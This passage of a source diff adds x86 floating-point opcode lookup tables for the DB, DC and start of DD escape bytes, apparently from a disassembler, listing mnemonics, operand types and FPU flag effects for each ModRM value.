+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fist", { AMODE_M | OPTYPE_d | OP_SIGNED | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x02
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fistp", { AMODE_M | OPTYPE_d | OP_SIGNED | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // 0x03
+ { NOINSTR }, // 0x04
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fld", { AMODE_M | OPTYPE_se | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // 0x05
+ { NOINSTR }, // 0x06
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fstp", { AMODE_M | OPTYPE_se | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // 0x07
+
+ //
+ // ModRM >= C0
+ // Index 0x08-0x47 = ModRM 0xC0-0xFF
+ //
+
+ // C0-C7
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnb", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NB, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x0
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnb", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NB, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x1
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnb", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NB, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x2
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnb", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NB, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x3
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnb", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NB, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x4
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnb", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NB, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x5
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnb", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NB, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x6
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnb", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NB, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x7
+ // C8-CF
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovne", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x8
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovne", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x9
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovne", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xA
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovne", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xB
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovne", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xC
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovne", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xD
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovne", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xE
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovne", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xF
+ // D0-D7
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnbe", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NBE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x0
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnbe", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NBE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x1
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnbe", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NBE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x2
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnbe", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NBE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x3
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnbe", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NBE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x4
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnbe", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NBE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x5
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnbe", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NBE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x6
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnbe", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NBE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x7
+ // D8-DF
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnu", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NU, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x8
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnu", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NU, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x9
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnu", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NU, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xA
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnu", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NU, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xB
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnu", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NU, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xC
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnu", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NU, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xD
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnu", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NU, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xE
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FPU, "fcmovnu", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_SRC, 0 }, COND_NU, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xF
+ // E0-E7
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fnclex", { OPTYPE_FPU_STATUS | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FPU, "finit", { OPTYPE_FPU_STATUS | OP_DST, 0, 0 }, NOCOND, FPU_ALL_CLR, NOACTION, IGNORED }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ // E8-EF
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fucomi", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fucomi", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x9
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fucomi", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // xA
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fucomi", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // xB
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fucomi", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fucomi", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fucomi", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fucomi", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // xF
+ // F0-F7
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fcomi", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fcomi", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fcomi", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fcomi", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x3
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fcomi", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fcomi", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fcomi", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fcomi", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x7
+ // F8-FF
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR } // xF
+};
+
+X86_OPCODE X86_ESC_4[0x48] = // DC
+{
+ //
+ // ModRM < C0
+ // Index 0x00-0x07 = opcode extension
+ //
+
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_sd | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x00
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_sd | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x01
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcom", { AMODE_M | OPTYPE_sd | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, NOACTION, IGNORED }, // 0x02
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcomp", { AMODE_M | OPTYPE_sd | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // 0x03
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_sd | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x04
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_sd | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x05
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_sd | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x06
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_sd | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x07
+
+ //
+ // ModRM >= C0
+ // Index 0x08-0x47 = ModRM 0xC0-0xFF
+ //
+
+ // C0-C7
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x7
+ // C8-CF
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x9
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xA
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xB
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xF
+ // D0-D7
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ // D8-DF
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+ // E0-E7
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x7
+ // E8-EF
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x9
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xA
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xB
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xF
+ // F0-F7
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x7
+ // F8-FF
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x9
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xA
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xB
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED } // xF
+};
+
+
+X86_OPCODE X86_ESC_5[0x48] = // DD
+{
+ //
+ // ModRM < C0
+ // Index 0x00-0x07 = opcode extension
+ //
+ //
+
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fld", { AMODE_M | OPTYPE_sd | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // x0
